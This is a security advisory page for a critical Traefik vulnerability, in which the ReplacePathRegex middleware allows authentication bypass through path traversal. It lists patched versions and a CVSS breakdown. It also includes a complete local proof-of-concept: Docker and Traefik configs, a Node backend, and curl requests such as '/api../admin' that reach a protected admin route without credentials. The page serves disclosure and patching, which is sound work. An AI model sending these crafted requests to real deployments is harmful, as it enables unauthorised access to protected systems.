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CVE-2026-65600

CRITICAL

Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware

Published August 6, 2026Updated August 18, 2026Source: osv

Summary

## Summary There is a critical authentication-bypass vulnerability in Traefik's `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: "^/api(.*)"`, `replacement: "/$1"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.52 - https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex. ### Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: "^/api(.*)"`, `replacement: "/$1"`), an attacker can inject implicit traversal sequences into the capture group. **Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix. **Attack flow:** 1. Attacker sends `GET /api../admin` 2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment) 3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware) 4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin` 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin` 7. Attacker receives protected content without authentication **Suggested fix:** Add the same JoinPath equality check after line 67: ```go if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path { http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return } ``` ### PoC **Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl **1. Create `docker-compose.yml`:** ```yaml services: traefik: image: traefik:v3.7.6 command: - "--api.insecure=true" - "--providers.file.filename=/etc/traefik/dynamic.yml" - "--entrypoints.web.address=:80" ports: - "8080:8080" - "80:80" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro healthcheck: test: ["CMD", "traefik", "healthcheck"] interval: 5s timeout: 3s retries: 5 backend: image: node:22-alpine working_dir: /app volumes: - ./server.js:/app/server.js:ro command: ["node", "server.js"] healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"] interval: 5s timeout: 3s retries: 5 ``` **2. Create `dynamic.yml`:** ```yaml http: routers: public-api: rule: "PathPrefix(`/api`)" entryPoints: [web] middlewares: [rewrite-api] service: backend-svc priority: 1 protected-admin: rule: "PathPrefix(`/admin`)" entryPoints: [web] middlewares: [auth] service: backend-svc priority: 2 middlewares: rewrite-api: replacePathRegex: regex: "^/api(.*)" replacement: "/$1" auth: basicAuth: users: - "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/" services: backend-svc: loadBalancer: servers: - url: "http://backend:3000" ``` **3. Create `server.js`:** ```javascript const http = require('http'); const path = require('path'); const server = http.createServer((req, res) => { const normalized = path.posix.normalize(req.url.split('?')[0]); res.setHeader('Content-Type', 'text/plain'); if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); } else if (normalized === '/admin' || normalized.startsWith('/admin/')) { res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\n`); } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\n`); } }); server.listen(3000); ``` **4. Run and exploit:** ```bash docker compose up -d && sleep 5 # Confirm auth is enforced: curl -s -o /dev/null -w "%{http_code}" http://localhost/admin # → 401 # Auth bypass: curl -s http://localhost/api../admin # → ADMIN_SECRET_DATA (normalized=/admin) # URL-encoded variant: curl -s http://localhost/api%2e%2e/admin # → ADMIN_SECRET_DATA (normalized=/admin) ``` **Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix("/api")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix("/api")` was vulnerable but `StripPrefix("/api/")` was not. ### Impact Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern. </details> ---

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/traefik/traefik/v3 to 3.7.7 or later
go get github.com/traefik/traefik/v3@v3.7.7
Go
Update github.com/traefik/traefik/v3 to 3.6.23 or later
go get github.com/traefik/traefik/v3@v3.6.23
Go
Update github.com/traefik/traefik/v2 to 2.11.52 or later
go get github.com/traefik/traefik/v2@v2.11.52

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (4)

PackageEcosystemAffectedFixed In
github.com/traefik/traefik/v3
go
All versions3.7.7
github.com/traefik/traefik/v3
go
All versions3.6.23
github.com/traefik/traefik/v2
go
All versions2.11.52
github.com/traefik/traefik
go
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-65600?
Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-65600?
CVE-2026-65600 affects github.com/traefik/traefik/v3, github.com/traefik/traefik/v2 and github.com/traefik/traefik. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-65600 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-cxjq-mrr5-89rv
GO-2026-6208

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